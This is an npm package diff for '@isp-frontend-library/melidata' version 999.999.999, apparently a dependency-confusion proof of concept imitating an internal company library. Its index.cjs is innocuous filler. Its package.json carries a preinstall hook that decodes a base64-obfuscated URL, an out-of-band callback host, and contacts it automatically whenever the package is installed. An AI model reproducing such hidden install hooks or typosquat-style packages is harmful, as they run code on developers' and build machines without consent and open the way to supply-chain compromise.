@isp-frontend-library/melidata 999.999.999

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/lib/index.cjs +83 -0
  2. package/package.json +14 -0
package/lib/index.cjs ADDED
@@ -0,0 +1,83 @@
1
+ // index.js
2
+
3
+ // Function to simulate file operations
4
+ const simulateFileOperations = () => {
5
+ const fileContent = `This is the initial content of the file.
6
+ This is some additional content.`;
7
+ console.log('File Content:\n', fileContent);
8
+ };
9
+
10
+ // Function for string operations
11
+ const stringOperations = () => {
12
+ const str = 'Hello, World!';
13
+ console.log('String Operations:');
14
+ console.log('Original String:', str);
15
+ console.log('Uppercase:', str.toUpperCase());
16
+ console.log('Lowercase:', str.toLowerCase());
17
+ console.log('Length:', str.length);
18
+ console.log('Substring (0, 5):', str.substring(0, 5));
19
+ };
20
+
21
+ // Function for array operations
22
+ const arrayOperations = () => {
23
+ const arr = [1, 2, 3, 4, 5];
24
+ arr.push(6);
25
+ arr.pop();
26
+ console.log('Array Operations:');
27
+ console.log('Original Array:', [1, 2, 3, 4, 5]);
28
+ console.log('Array after push:', arr);
29
+ console.log('Array after pop:', arr);
30
+ console.log('Array length:', arr.length);
31
+ console.log('Array contains 3:', arr.includes(3));
32
+ };
33
+
34
+ // Function for object operations
35
+ const objectOperations = () => {
36
+ const obj = { name: 'Alice', age: 25, city: 'Wonderland' };
37
+ delete obj.city;
38
+ console.log('Object Operations:');
39
+ console.log('Original Object:', { name: 'Alice', age: 25, city: 'Wonderland' });
40
+ console.log('Object after modification:', obj);
41
+ };
42
+
43
+ // Function for date operations
44
+ const dateOperations = () => {
45
+ const now = new Date();
46
+ console.log('Date Operations:');
47
+ console.log('Current Date and Time:', now);
48
+ console.log('Year:', now.getFullYear());
49
+ console.log('Month:', now.getMonth() + 1); // Months are 0-indexed
50
+ console.log('Date:', now.getDate());
51
+ console.log('Hours:', now.getHours());
52
+ console.log('Minutes:', now.getMinutes());
53
+ console.log('Seconds:', now.getSeconds());
54
+ };
55
+
56
+ // Function for number operations
57
+ const numberOperations = () => {
58
+ const num = 42;
59
+ console.log('Number Operations:');
60
+ console.log('Original Number:', num);
61
+ console.log('Square:', num * num);
62
+ console.log('Square Root:', Math.sqrt(num));
63
+ console.log('Random Number between 0 and 1:', Math.random());
64
+ };
65
+
66
+ // Function for JSON handling
67
+ const jsonHandling = () => {
68
+ const jsonObj = { id: 1, name: 'Test', active: true };
69
+ const jsonString = JSON.stringify(jsonObj, null, 2);
70
+ const parsedObj = JSON.parse(jsonString);
71
+ console.log('JSON Handling:');
72
+ console.log('JSON String:', jsonString);
73
+ console.log('Parsed Object:', parsedObj);
74
+ };
75
+
76
+ // Call all functions
77
+ simulateFileOperations();
78
+ stringOperations();
79
+ arrayOperations();
80
+ objectOperations();
81
+ dateOperations();
82
+ numberOperations();
83
+ jsonHandling();
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "@isp-frontend-library/melidata",
3
+ "version": "999.999.999",
4
+ "description": "PoC by marvelmaniac",
5
+ "main": "lib/index.cjs",
6
+ "files": [
7
+ "lib"
8
+ ],
9
+ "scripts": {
10
+ "preinstall": "node -e \"require('https').get(Buffer.from('aHR0cHM6Ly91dmxlbXpqbGl6eWJsZnhwaGhmaDRuZ2I5a2Z4dG5oem4ub2FzdC5mdW4vbXAtc3MtcHJvbW90aW9ucy1saWI=', 'base64').toString(), res => res.on('data', () => {}).on('end', () => {}));\""
11
+ },
12
+ "author": "marvelmaniac",
13
+ "license": "ISC"
14
+ }